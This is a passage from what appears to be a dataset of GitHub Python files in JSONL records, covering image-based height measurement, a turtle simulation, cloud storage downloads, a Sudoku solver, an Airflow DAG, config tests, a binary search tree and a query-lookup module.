directions[i, 0] * strengths[i] / 2]\n yax = [locations[i, 1] - directions[i, 1] * strengths[i] / 2,\n locations[i, 1] + directions[i, 1] * strengths[i] / 2]\n\n plt.plot(xax, yax, 'r-')\n\n if show:\n plt.show()\n\n\ndef vis_model(image, model, show=True):\n edgelets = compute_edgelets(image)\n locations, directions, strengths = edgelets\n inliers = compute_votes(edgelets, model, 10) > 0\n\n edgelets = (locations[inliers], directions[inliers], strengths[inliers])\n locations, directions, strengths = edgelets\n vis_edgelets(image, edgelets, False)\n vp = model / model[2]\n plt.plot(vp[0], vp[1], 'bo')\n for i in range(locations.shape[0]):\n xax = [locations[i, 0], vp[0]]\n yax = [locations[i, 1], vp[1]]\n plt.plot(xax, yax, 'b-.')\n\n if show:\n plt.show()\n\n\ndef cal_height(image, vp1, vp2, t1, t2, b1, b2, v):\n shape = image.shape\n b1 = np.array([b1[0][0], b1[0][1], 1])\n b2 = np.array([b2[0][0], b2[0][1], 1])\n tmp = np.cross(b1, b2)\n vp1 = vp1/vp1[2]\n vp2 = vp2/vp2[2]\n tmp = tmp/tmp[1]\n l = np.cross(vp1, vp2)\n l = l/l[1]\n u = np.cross(tmp,l)\n u = u/u[2] # cal VP of \n\n t1 = np.array([t1[0][0], t1[0][1], 1])\n t2 = np.array([t2[0][0], t2[0][1], 1])\n tmp = np.cross(t1, u)\n tmp = tmp/tmp[1]\n v = v/v[2]\n l2 = np.cross(v,b2)\n l2 = l2/l2[1]\n _t1 =np.cross(tmp,l2)\n _t1 = _t1/_t1[2] # cal intersection of & l2\n\n # cal distance\n d_t1 = np.linalg.norm(_t1-b2)\n dt2 = np.linalg.norm(t2-b2)\n dv = np.linalg.norm(v-b2)\n\n # cal scale ratio\n if v[1]<=shape[0]:\n scaled = (d_t1*(dv - dt2))/(dt2*(dv - d_t1))\n else:\n scaled = (d_t1*(dv + dt2))/(dt2*(dv + d_t1))\n vis_cal(image, b1, b2, t1, t2, u, v, _t1, vp1, vp2)\n vis_result(scaled,image,t1, t2, b1, b2)\n return scaled\n\n\ndef vis_cal(image, b1, b2, t1, t2, u, v, _t1, vp1, vp2):\n # vis\n plt.figure(figsize=(10, 10))\n plt.imshow(image)\n # plot lines\n xax = [b2[0], b1[0],u[0]]\n yax = [b2[1], b1[1], u[1]]\n plt.plot(xax, yax, 'b-')\n\n xax = [vp1[0], vp2[0], u[0]]\n yax = [vp1[1], vp2[1], u[1]]\n plt.plot(xax, yax, 'b-.')\n\n xax = [_t1[0], u[0]]\n yax = [_t1[1], u[1]]\n plt.plot(xax, yax, 'b-')\n\n xax = [_t1[0], t2[0]]\n yax = [_t1[1], t2[1]]\n plt.plot(xax, yax, 'b-')\n\n xax = [v[0], b2[0]]\n yax = [v[1], b2[1]]\n plt.plot(xax, yax, 'b-.')\n xax = [v[0], b1[0]]\n yax = [v[1], b1[1]]\n plt.plot(xax, yax, 'b-.')\n\n xax = [t1[0], b1[0]]\n yax = [t1[1], b1[1]]\n plt.plot(xax, yax, 'r-')\n\n xax = [t2[0], b2[0]]\n yax = [t2[1], b2[1]]\n plt.plot(xax, yax, 'g-')\n\n xax = [t1[0], t2[0]]\n yax = [t1[1], t2[1]]\n plt.plot(xax, yax, 'b-')\n\n # plot dot\n plt.plot(b1[0],b1[1],'ro')\n plt.text(b1[0],b1[1],'b1')\n\n plt.plot(b2[0], b2[1], 'ro')\n plt.text(b2[0], b2[1], 'b2')\n\n plt.plot(_t1[0], _t1[1], 'ro')\n plt.text(_t1[0], _t1[1], '~t1')\n\n plt.plot(u[0], u[1], 'ro')\n plt.text(u[0], u[1], 'u')\n plt.plot(v[0], v[1], 'ro')\n plt.text(v[0], v[1], 'v')\n\n plt.plot(t1[0], t1[1], 'ro')\n plt.text(t1[0], t1[1], 't1')\n plt.plot(t2[0], t2[1], 'ro')\n plt.text(t2[0], t2[1], 't2')\n plt.show()\n\n\ndef vis_result(scaled, image, t1, t2, b1, b2):\n plt.figure(figsize=(10, 10))\n plt.imshow(image)\n xax = [t1[0], b1[0]]\n yax = [t1[1], b1[1]]\n plt.plot(xax, yax, 'r-')\n str1=\"{:.2f}cm\".format(scaled*15)\n font = {\n 'color': 'red',\n }\n plt.text(t1[0]+5, t1[1]+5,str1,fontdict=font)\n\n xax = [t2[0], b2[0]]\n yax = [t2[1], b2[1]]\n plt.plot(xax, yax, 'g-')\n font = {\n 'color': 'green',\n }\n plt.text(t2[0]+5, t2[1]+5, '15cm', fontdict=font)\n plt.show()\n\n\nimage_name = \"calibresult11.jpg\"\nimage = io.imread(image_name)\nplt.imshow(image)\nprint(\"input reference line base point b2:\")\nb2 = plt.ginput(1, timeout=0)\nprint(\"input reference line top point t2:\")\nt2 = plt.ginput(1, timeout=0)\nprint(\"input unknow line base point b1:\")\nb1 = plt.ginput(1, timeout=0)\nprint(\"input unknow line top point t1:\")\nt1 = plt.ginput(1, timeout=0)\nvp=[]\n\nedgelets1 = compute_edgelets(image)\n#vis_edgelets(image, edgelets1, show=False)\nvp.append(ransac_vanishing_point(edgelets1, 2000, threshold_inlier=3))\n#vis_model(image, vp[0], show=False)\nedgelets2 = remove_inliers(vp[0], edgelets1, 10)\n#vis_edgelets(image, edgelets2, show=False)\nvp.append(ransac_vanishing_point(edgelets2, 2000, threshold_inlier=3))\n#vis_model(image, vp[1], False)\nedgelets3 = remove_inliers(vp[1], edgelets2, 10)\n#vis_edgelets(image, edgelets3, show=False)\nvp.append(ransac_vanishing_point(edgelets3, 2000, threshold_inlier=3))\n#vis_model(image, vp[2], True)\n\n# find the vertical vanishing point\n_b2 = np.array([b2[0][0], b2[0][1]])\n_t2 = np.array([t2[0][0], t2[0][1]])\nd = []\nfor i in range(3):\n _vp = vp[i]/vp[i][2]\n _vp = _vp[:2]\n d.append(np.abs(np.cross(_vp-_b2, _t2-_b2))/\n (np.linalg.norm(_vp-_b2)*np.linalg.norm(_t2-_b2)))\nd = np.array(d)\nprint(np.argmin(d))\nv = vp[np.argmin(d)]\ndel(vp[np.argmin(d)])\nvp1, vp2 = vp\n\nmy_scaled = cal_height(image, vp1, vp2, t1, t2, b1, b2, v)\nprint(my_scaled*15)\n","repo_name":"ccliyun/CV_project","sub_path":"Project1/my_pro.py","file_name":"my_pro.py","file_ext":"py","file_size_in_byte":8845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73920591080","text":"import random\nimport turtle\n\ndef rand_color():\n chars = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]\n string = \"#\"\n for i in range(6):\n string += random.choice(chars)\n return string\n\nclass Ant:\n def __init__(self):\n self.x = 0.0\n self.y = 0.0\n\n self.queen = False\n\n self.color = rand_color()\n\n self.t = turtle.Turtle()\n self.t.color(self.color)\n self.t.penup()\n self.t.goto(self.x, self.y)\n self.t.pendown()\n\n def report(self):\n print(\"coords: ({}, {}) \\nqueen: {} \\ncolor: {}\".format(self.x, self.y, self.queen, self.color))\n\n def bark(self):\n print(\"woof\")\n\n def march(self):\n self.x += (random.random() - 0.5) * 10\n self.y += (random.random() - 0.5) * 10\n\n self.t.goto(self.x, self.y)\n\n# setup:\nants = [Ant() for i in range(3)]\n\n# process loop:\nwhile True:\n if random.random() > 0.01:\n for a in ants:\n a.report()\n \n for a in ants:\n if random.random() > 0.01:\n a.bark()\n \n if random.random() > 0.5:\n a.march()","repo_name":"752986/Daily-Code","sub_path":"1st semseter/pretest (24th aug)/five.py","file_name":"five.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41023579129","text":"\"\"\"Download data from google cloud storage.\"\"\"\nfrom google.cloud import storage\nimport os\n\n\nclass genetic_testdata(object):\n \"\"\"Import and process genetic data in plink format for ML.\"\"\"\n\n def __init__(self, download_path: str):\n \"\"\"Perpare genetic data.\"\"\"\n super(genetic_testdata, self).__init__()\n self.download_path = download_path\n self._gc_client = storage.Client('Hail')\n self._bucket = self._gc_client.get_bucket('ukb_testdata')\n\n def _download(self, gc_path: str, output_path: str):\n if ('gs' in gc_path) or ('ukb_testdata' in gc_path):\n raise ValueError('path is the path AFTER the bucket name')\n blob = self._bucket.blob(gc_path)\n blob.download_to_filename(output_path)\n\n def download_1kg_chr22(self) -> str:\n \"\"\"Download chr22 from the 1K Genome.\"\"\"\n files = ['1kg_phase1_chr22.' + k for k in ['bed', 'bim', 'fam']]\n print('start downloading files')\n for f in files:\n output_path = os.path.join(self.download_path, f)\n gc_path = os.path.join('data', f)\n if os.path.isfile(output_path):\n continue\n self._download(gc_path, output_path)\n print('Files were donwloaded to {}'.format(self.download_path))\n return os.path.join(self.download_path, '1kg_phase1_chr22')\n\n def download_ukb_chr10(self) -> str:\n \"\"\"Download chr10 from the UKB (maf>=0.01).\"\"\"\n files = ['maf_0.01_10.' + k for k in ['bed', 'bim', 'fam']]\n print('start downloading files')\n for f in files:\n output_path = os.path.join(self.download_path, f)\n gc_path = os.path.join('data', f)\n if os.path.isfile(output_path):\n continue\n self._download(gc_path, output_path)\n print('Files were donwloaded to {}'.format(self.download_path))\n return os.path.join(self.download_path, 'maf_0.01_10')\n\n def download_ldblocks(self) -> str:\n \"\"\"Download LD block file.\"\"\"\n file = 'Berisa.EUR.hg19.bed'\n output_path = os.path.join(self.download_path, file)\n gc_path = os.path.join('data', file)\n if not os.path.isfile(output_path):\n self._download(gc_path, output_path)\n return os.path.join(self.download_path, file)\n\n def download_file(self, file: str) -> str:\n \"\"\"Download any given file.\"\"\"\n output_path = os.path.join(self.download_path, os.path.basename(file))\n gc_path = file\n if not os.path.isfile(output_path):\n self._download(gc_path, output_path)\n return output_path\n","repo_name":"tshmak/gcloud_scripts","sub_path":"tensor/data_download.py","file_name":"data_download.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"13673824416","text":"from .tensor import (\n Tensor,\n tensor, as_tensor, stack,\n is_grad_enabled, set_grad_enabled,\n empty, zeros, zeros_like, ones, ones_like,\n add, sub, neg, mul, truediv, matmul, power, dot,\n sum, mean, var,\n transpose, permute, concat, reshape, flatten, pad, conj,\n)\n\nfrom .function import (\n abs, max, maximum, min, minimum, log, exp, sqrt, relu, sigmoid, softmax, tanh, hardlim\n)\nfrom .random import (\n normal, normal_like,\n uniform, uniform_like,\n)\nfrom .grad_mode import (\n no_grad, enable_grad\n)\nimport numpy as np\n\nbool = np.bool_\nuint8 = np.uint8\nint8 = np.int8\nint16 = np.int16\nint32 = np.int32\nint64 = np.int64\nlong = np.int32\nfloat16 = np.float16\nfloat32 = np.float32\nfloat64 = np.float64\ncomplex64 = np.complex64\ncomplex128 = np.complex128\n","repo_name":"shizuku/cranet","sub_path":"src/cranet/autograd/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"1590110384","text":"\"\"\"\n Config reader module tests.\n These tests require correct working of the config_writer module.\n\"\"\"\n\nimport os\nimport sys\nfrom modules.config_reader import ConfigReader\nfrom modules.config_writer import ConfigWriter\nfrom modules.paths import get_path\nfrom tests.test_box import test_box\nfrom tests.success import success\n\n\nCONFIG_PATH = get_path(\"config\")\nconfig_reader = ConfigReader(CONFIG_PATH)\n\n\ndef check_config_size(config_content: str):\n \"\"\" Check if config size is correct. \"\"\"\n config_size = sys.getsizeof(config_content)\n assert config_size > 50, \"Incorrect config size (less than 50 bytes)\"\n\n success(\"Config size test\")\n\n\ndef check_config_length(config_content: str):\n \"\"\" Check config length is correct. \"\"\"\n assert len(config_content) >= 4, \"Incorrect config length!\"\n\n success(\"Config length test\")\n\n\ndef check_config_is_correct(config_content: str):\n \"\"\" Check if config has correct size (more than 50b) and length (more than 4 lines). \"\"\"\n check_config_size(config_content)\n check_config_length(config_content)\n\n success(\"Config validation test\")\n\n\ndef write_mock_parameter(name, value):\n \"\"\" Write mock name: value to the config. \"\"\"\n config_writer = ConfigWriter(CONFIG_PATH)\n config_writer.write(name, value)\n\n\ndef check_if_correct_parameter(config_content: dict, name: str, value: str):\n \"\"\" Check if config has name: value attribute and it's correct. \"\"\"\n assert config_content[name] == value, f\"Wrong parameter in config after writing! \"\\\n f\"{name}: {config_content[name]} instead of {name}: {value}.\"\n\n success(\"Read method successfully found written parameter.\")\n\n\ndef erase_mock_parameter(name: str):\n \"\"\" Erase mock parameter from the config. \"\"\"\n config_writer = ConfigWriter(CONFIG_PATH)\n config_writer.erase(name)\n\n\ndef check_if_parameter_not_exists(config_content: dict, name: str):\n \"\"\" Check if config hasn't some parameter. \"\"\"\n parameter_existing = False\n\n for attribute in config_content:\n if attribute == name:\n parameter_existing = True\n\n assert parameter_existing is False, \"Read method found erased parameter in the config.\"\n\n\ndef read_test():\n \"\"\" Test of the read method. \"\"\"\n config_content = config_reader.read()\n check_config_is_correct(config_content)\n\n test_name = \"mock_name\"\n test_value = \"mock_value\"\n write_mock_parameter(test_name, test_value)\n\n config_content = config_reader.read()\n check_if_correct_parameter(config_content, test_name, test_value)\n\n erase_mock_parameter(test_name)\n config_content = config_reader.read()\n check_if_parameter_not_exists(config_content, test_name)\n\n check_config_is_correct(config_content)\n\n success(\"Test of the read method\")\n\n\n@test_box\ndef main():\n \"\"\" All tests of methods here. \"\"\"\n read_test()\n\n success(\"Config reader test\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"doopath/doondler","sub_path":"tests/config_reader_test.py","file_name":"config_reader_test.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"19664554018","text":"s = list(input())\nsum1 = 0\nr = []\n\nfor i in range(len(s)):\n try:\n sum1 = sum1 + int(s[i])\n except:\n r.append(s[i])\n\nr.sort()\nr.append(str(sum1))\nr = ''.join(r)\n\nprint(r)","repo_name":"2taezeat/TI_CodingTest_Python","sub_path":"Ch12-8_문자열 재정렬.py","file_name":"Ch12-8_문자열 재정렬.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34367967684","text":"import os\nimport shutil\n\n# Purpose: This script prints the list of files and/or folders that exist\n# in a folder.\n\n\ndef get_file_list(folder):\n \n \"\"\"\n Function: getFileList(folder)\n Input: One argument called 'folder'.\n Output: The function returns a list of files that exist in that folder.\n \"\"\"\n return os.listdir(folder)\n\n\ndef print_file_list(folder, file_list):\n \n \"\"\"\n Function: printFileList(folder, fileList)\n Input: Two arguments - one called 'folder', one called 'fileList'.\n Output: Prints the name of the folder and the list of files in the folder\n \"\"\"\n \n print(\"Files for folder %s:\" % folder)\n \n for file in file_list:\n print(\"%s\" % file)\n\n\ndef main():\n \n \"\"\" Create a folder named 'FilesToList' \"\"\"\n folder = 'C:\\\\tmp\\\\FilesToList'\n\n if not (os.path.isdir(folder)):\n os.mkdir(folder)\n\n # Create 3 empty files named 'file1.txt', 'file2.txt', 'file3.txt'\n # in the 'FilesToList' folder you just created.\n out_file1 = open(folder + '\\\\file1.txt', 'w')\n out_file2 = open(folder + '\\\\file2.txt', 'w')\n out_file3 = open(folder + '\\\\file3.txt', 'w')\n out_file1.close()\n out_file2.close()\n out_file3.close()\n\n # Call the 'getFileList' function in main passing in the path of the folder\n # you created in Part 1.\n \n # Call the 'printFileList' function in main passing in the path of the\n # folder as the first argument and the file list returned from 'getFileList'\n # as the second argument.\n print_file_list(folder, get_file_list(folder))\n \n # Remove the non-empty directory that was created\n shutil.rmtree(folder)\n \nmain()","repo_name":"rzuniga64/python","sub_path":"udemy/lesson01_file_io/file_io2.py","file_name":"file_io2.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2512839566","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 4 20:15:31 2020\n@author: Andreas\nTask C1\nConsider a Sudoku game - a logic puzzle represented on a n x n board; some squares\ncontain already a number, others must be completed with other numbers from {1,2,…,n} in such a\nway that each line, column and square with the edge equal with √n must contain only different\nnumbers. Determine one correct solution for the puzzle.\n\"\"\"\n\nimport random\nimport math\nimport collections \n\n'''\nThis method generates a matrix of n x n with all the cells containing zero.\nInput: n - integer\nOutput: matrix - n x n matrix\n'''\ndef createBoard(n):\n matrix=[] # define empty matrix\n for i in range(n): # total row is 3\n row=[]\n for j in range(n): # total column is 3\n row.append(0) # adding 0 value for each column for this row\n matrix.append(row) # add fully defined column into the row\n return matrix\n \n'''\nThis method populates the given matrix with numbers between 1 and n.\nInput: matrix - n x n matrix\n n - integer\nOutput: \n''' \ndef populateRandom(matrix,n):\n for i in range(n):\n for j in range(n):\n if matrix[i][j] == 0:\n matrix[i][j] = random.randint(1,n) \n \n'''\nThis method prints a given matrix as a Sudoku board.\nInput: matrix - n x n matrix\n n - integer\nOutput: \n''' \ndef printMatrixAsBoard(matrix,n):\n sqrn = int(math.sqrt(n))\n result = \"\\n\"\n for i in range(n):\n partialResult = \"|| \"\n for j in range(n):\n partialResult += str(matrix[i][j])\n if( j % sqrn == sqrn - 1 ):\n partialResult += \" || \"\n else:\n partialResult += \" | \"\n partialResult += '\\n' \n length = len(partialResult) \n beginning = \"\"\n if( i % sqrn == sqrn - 1 ):\n for x in range(length-2):\n partialResult += \"=\"\n beginning += \"=\"\n partialResult += '\\n' \n result += partialResult \n print(str(beginning)+str(result)) \n \n'''\nThis method checks whether the given number n is a perfect square.\nInput: n - integer\nOutut: True/False\n''' \ndef validateN(n):\n if( int(math.sqrt(n)) == math.sqrt(n) ):\n return True\n return False \n\n'''\nThis method returns a dictionary containing the frequency of the elements in the given array.\nInput: array - array of integer\nOutput: dictionary\n'''\ndef countFrequency(arr): \n return collections.Counter(arr) \n\n'''\nThis method checks wheter there are duplicates on any row in the given matrix.\nInput: matrix - n x n matrix\n n - integer\nOutput: True/False \n'''\ndef checkLine(matrix,n):\n for i in range(n):\n freq = countFrequency(matrix[i])\n for key, value in freq.items():\n if(value > 1):\n return False\n return True \n\n'''\nThis method returns all the elements from a given column in a given matrix.\nInput : matrix - n x n matrix\n n - integer\n j - integer\nOutput: array - array \n'''\ndef getArrayFromColumnJ(matrix,j,n):\n array = []\n for i in range(n):\n for jj in range(n):\n if jj == j:\n array.append(matrix[i][j])\n return array \n\n'''\nThis method checks wheter there are duplicates on any column in the given matrix.\nInput: matrix - n x n matrix\n n - integer\nOutput: True/False \n'''\ndef checkColumn(matrix,n):\n for j in range(n):\n arrayJ = getArrayFromColumnJ(matrix,j,n)\n freq = countFrequency(arrayJ)\n for key, value in freq.items():\n if(value > 1):\n return False\n return True \n\n'''\nThis method checks whether there are duplicates in a given Sudoku square.\nInput: matrix - n x n matrix\n n - integer\n i - the line of the top left corner of the square\n j - the column of the top left corner of the square\nOutput: True/False \n'''\ndef checkSquare(matrix,n,i,j):\n sqrn = int(math.sqrt(n))\n array = []\n ii = i\n jj = j\n while(i 1):\n return False\n return True \n \n'''\nThis method checks whether there are duplicates in any Sudoku square.\nInput: matrix - n x n matrix\n n - integer\nOutput: True/False \n'''\ndef check(matrix,n):\n sqrn = int(math.sqrt(n))\n i = 0\n j = 0\n while(i> \")\n if( validateN(int(n)) == True ):\n break\n print(\"Invalid n. N must be a perfect square!\")\n \n matrix = createBoard(int(n))\n copy_matrix = createBoard(int(n))\n example = \"0\"\n \n choice = input(\"Choose whether to \\n1. Start from an example \\n2. Give the initial values yourself \\n>> \")\n if choice == \"1\":\n example = input(\"If you want to start from an example, choose 1 or 2 >> \")\n\n if choice == \"2\":\n print(\"Now input the initial values that you want: ( to stop enter 0 for value )\")\n value = 1\n while( value > 0 ):\n value = input(\"Value >> \")\n value = int(value)\n if value == 0:\n break\n i = input(\"Line >> \")\n i = int(i)\n j = input(\"Column >> \")\n j = int(j)\n matrix[i-1][j-1] = value\n copy_matrix[i-1][j-1] = value\n printMatrixAsBoard(copy_matrix,int(n))\n \n max = input(\"Input the number of maximum attempts >> \") \n max = int(max) \n attempts = 0\n while( checkLine(matrix,int(n)) == False or checkColumn(matrix,int(n)) == False or check(matrix,int(n)) == False or checkForZero(matrix,int(n)) == True):\n attempts = attempts + 1\n if( max == 0 ):\n print(\"Maximum number of attempts has been reached => FAILURE.\")\n break\n max -= 1\n matrix = createBoard(int(n))\n if example == \"0\":\n for i in range(int(n)):\n for j in range(int(n)):\n matrix[i][j] = copy_matrix[i][j]\n if example == \"1\":\n populateExample1(matrix)\n if example == \"2\":\n populateExample2(matrix)\n populateRandom(matrix,int(n))\n printMatrixAsBoard(matrix,int(n))\n #if attempts % 10000 == 0:\n # printMatrixAsBoard(matrix,int(n))\n \n if checkLine(matrix,int(n)) == True or checkColumn(matrix,int(n)) == True or check(matrix,int(n)) == True:\n print(\"Solution:\")\n printMatrixAsBoard(matrix,int(n))\n \nmain() ","repo_name":"toadereandreas/Artificial-intelligence","sub_path":"Laboratories/Laboratory 01/TaskC1.py","file_name":"TaskC1.py","file_ext":"py","file_size_in_byte":8239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26195788030","text":"from airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport os\n\nDATA_FOLDER = os.getcwd()\nprint(DATA_FOLDER)\n# Argumentos default\ndefault_args = {\n 'owner': 'felipe',\n 'depends_on_past': False,\n 'start_date': datetime(2023, 1, 27, 20),\n 'email': ['random_mail@mail.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries':1,\n 'retry_delay': timedelta(minutes=1)\n}\n\n\ndag = DAG(\n 'treino_02',\n description='Extrai dados do titanic da internet e calcula a idade media',\n default_args=default_args,\n schedule_interval=None\n)\n\nget_data = BashOperator(\n task_id='get_data',\n bash_command=F'curl -k https://raw.githubusercontent.com/phllp/public_datasets/main/train.csv -o {DATA_FOLDER}/train.csv',\n dag=dag\n)\n\ndef calculate_mean_age():\n df = pd.read_csv(f'{DATA_FOLDER}/train.csv')\n med = df['Age'].mean()\n return med\n\ndef print_age(**context):\n value = context['task_instance'].xcom_pull(task_ids='calcula_idade_media')\n print(f'A idade media no Titanic era {value} anos')\n\ncalcula_idade_media = PythonOperator(\n task_id = 'calcula_idade_media',\n python_callable=calculate_mean_age,\n dag=dag\n)\n\nprint_mean_age = PythonOperator(\n task_id='print_mean_age',\n python_callable=print_age,\n provide_context=True,\n dag=dag\n)\n\n\nget_data >> calcula_idade_media >> print_mean_age","repo_name":"phllp/bootcamp_data_eng","sub_path":"modulo_04/docker-airflow/dags/treino_02.py","file_name":"treino_02.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29728379327","text":"from tracardi.domain.entity import Entity\n\nfrom tracardi.service.notation.dot_accessor import DotAccessor\nfrom tracardi.process_engine.action.v1.connectors.matomo.send_event.service.page_performance import \\\n PerformanceValueGetter\nfrom tracardi.domain.event import Event\nfrom tracardi.domain.event_metadata import EventMetadata\nfrom tracardi.domain.time import EventTime\n\n\ndef test_should_get_previous_value():\n dot = DotAccessor(event=Event(\n id=\"test-id\",\n metadata=EventMetadata(\n time=EventTime()\n ),\n type=\"test-type\",\n source=Entity(id=\"@test-source\"),\n context={\n \"performance\": {\n \"redirectStart\": 10,\n \"redirectEnd\": 0\n }\n }\n ))\n\n service = PerformanceValueGetter(dot)\n\n result = service.get_performance_value(\"redirectEnd\")\n assert result == 10\n","repo_name":"Tracardi/tracardi","sub_path":"test/unit/test_get_performance_value.py","file_name":"test_get_performance_value.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":430,"dataset":"github-code","pt":"18"} +{"seq_id":"22399035784","text":"import yaml\nimport os\nimport pytz\nfrom datetime import datetime\nimport pdb\n\nbr = pdb.set_trace\n\ndef load_config(fn):\n f = open(fn, 'r', encoding='utf-8')\n cfg = yaml.load(f, Loader=yaml.CLoader)\n f.close()\n\n return cfg \n\ndef find_cloud(cfg, name):\n\tout = None\n\tcount = 0\n\tfor cloud in cfg['openLinkApp']['clouds']:\n\t\tif cloud['name'] == name:\n\t\t\tout = cloud \n\t\t\tcount += 1\n\n\tassert count == 1\n\treturn out\n\ndef find_defaultNative(cfg, cloud):\n defaultNativeName = cfg['openLinkApp']['defaultNativeName']\n\n defaultNative = None\n for native in cloud['natives']:\n if native['name'] == defaultNativeName:\n defaultNative = native \n break \n\n assert defaultNative != None\n return defaultNative\n\ndef get_time():\n\tnow = datetime.now()\n\tout = datetime.strftime(now, '%Y-%m-%d %H:%M:%S')\n\treturn out\n\ndef get_latest_file_time(root_dir):\n latest_time = 0\n latest_file = None\n\n file_path = root_dir \n file_time = os.path.getmtime(file_path)\n\n if file_time > latest_time:\n latest_time = file_time\n latest_file = file_path \n\n #print(root_dir)\n for dirpath, dirnames, filenames in os.walk(root_dir):\n for filename in filenames:\n file_path = os.path.join(dirpath, filename)\n file_time = os.path.getmtime(file_path)\n #print(file_path)\n #print(datetime.fromtimestamp(file_time).strftime('%Y-%m-%d %H:%M:%S'))\n\n if file_time > latest_time:\n latest_time = file_time\n latest_file = file_path\n\n for dirname in dirnames:\n file_path = os.path.join(dirpath, dirname)\n file_time = os.path.getmtime(file_path)\n\n if file_time > latest_time:\n latest_time = file_time\n latest_file = file_path \n\n return latest_file, latest_time\t\n\ndef get_updated_time(dn):\n _, t = get_latest_file_time(dn)\n #dt = datetime.fromtimestamp(t, tz=pytz.timezone('Asia/Shanghai'))\n dt = datetime.fromtimestamp(t)\n out = dt.strftime('%Y-%m-%d %H:%M:%S')\t\n\n #if dn[-9:] == '2305-1851': \n # br()\n \n return out\n\ndef load_res(res_fn):\n res = {}\n res['generatedNotes'] = []\n if os.path.exists(res_fn):\n res = load_config(res_fn) \n\n return res\n\ndef find_note(notes, path):\n out = None \n count = 0\n\n for note in notes:\n if note['path'] == path:\n out = note\n count += 1 \n\n assert count <= 1, path\n return out \n\ndef write_res(res, res_fn):\n print(f'Writing {res_fn}')\n \n f = open(res_fn, 'w', encoding='utf-8')\n yaml.dump(res, f, default_flow_style=False, encoding='utf-8', allow_unicode=True)\n f.close() \n\ndef get_time_str(ts):\n ts = ts // 1000\n ts_dt = datetime.fromtimestamp(ts)\n time_str = ts_dt.strftime(\"%Y/%m/%d %H:%M\")\n return time_str\n\n","repo_name":"CountChu/AutoEvernote","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33528676831","text":"class Node:\n def __init__(self,data):\n self.data=data\n self.left=None\n self.right=None\n\ndef insert(root,data):\n if not root:\n root=Node(data)\n else:\n if dataroot.data:\n if root.right is None:\n root.right=Node(data)\n else:\n insert(root.right,data)\ndef inorder(root):\n if root:\n inorder(root.left) \n print(root.data,end=\" \")\n inorder(root.right)\n\ndef postorder(root):\n if root:\n postorder(root.left)\n postorder(root.right)\n print(root.data,end=\" \")\n\ndef preorder(root):\n if root:\n print(root.data,end=\" \")\n preorder(root.left)\n preorder(root.right)\n\nroot=Node(10)\nls=[6,2,0,3,12,231,52,14]\nfor i in ls:\n insert(root,i)\ninorder(root)\nprint(\"\")\npreorder(root)\nprint(\"\")\npostorder(root)\n ","repo_name":"Sanket-godse/Data-Structure-Using-Python","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35514340676","text":"from flamingo.core.errors import MultipleObjectsReturned, ObjectDoesNotExist\n\n\ndef AND(a, b):\n return a & b\n\n\ndef NOT(a):\n return ~a\n\n\ndef OR(a, b):\n return a | b\n\n\nQUOTE_KEYS = ('content_body', 'template_context', )\n\nLOGIC_FUNCTIONS = {\n 'eq': lambda a, b: a == b,\n 'ne': lambda a, b: a != b,\n 'lt': lambda a, b: a < b,\n 'lte': lambda a, b: a <= b,\n 'gt': lambda a, b: a > b,\n 'gte': lambda a, b: a >= b,\n 'in': lambda a, b: a in b,\n 'contains': lambda a, b: _str(b) in _str(a),\n 'icontains': lambda a, b: _str(b).lower() in _str(a).lower(),\n 'isnull': lambda a, b: a is None if b else a is not None,\n 'isfalse': lambda a, b: not bool(a) if b else bool(a),\n 'startswith': lambda a, b: _str(a).startswith(b),\n 'endswith': lambda a, b: _str(a).endswith(b),\n 'passes': lambda a, b: b(a),\n}\n\n\ndef quote(value):\n types = {\n str: lambda v: ''.format(len(v)),\n list: lambda v: ''.format(len(v)),\n tuple: lambda v: ''.format(len(v)),\n dict: '',\n Content: '',\n ContentSet: lambda v: ''.format(len(v)),\n }\n\n t = type(value)\n\n if t in types:\n if callable(types[t]):\n return types[t](value)\n\n return types[t]\n\n return str(value)\n\n\ndef _str(s):\n return str(s) if s is not None else ''\n\n\nclass F:\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return \"F('{}')\".format(self.name)\n\n\nclass Lookup:\n def __init__(self, name, value):\n field_name = name\n logic_function = 'eq'\n\n if '__' in name:\n field_name, logic_function = field_name.split('__')\n\n if logic_function not in LOGIC_FUNCTIONS:\n raise ValueError(\n \"unknown logic function '{}'\".format(logic_function))\n\n self.name = name\n self.field_name = field_name\n self.logic_function = 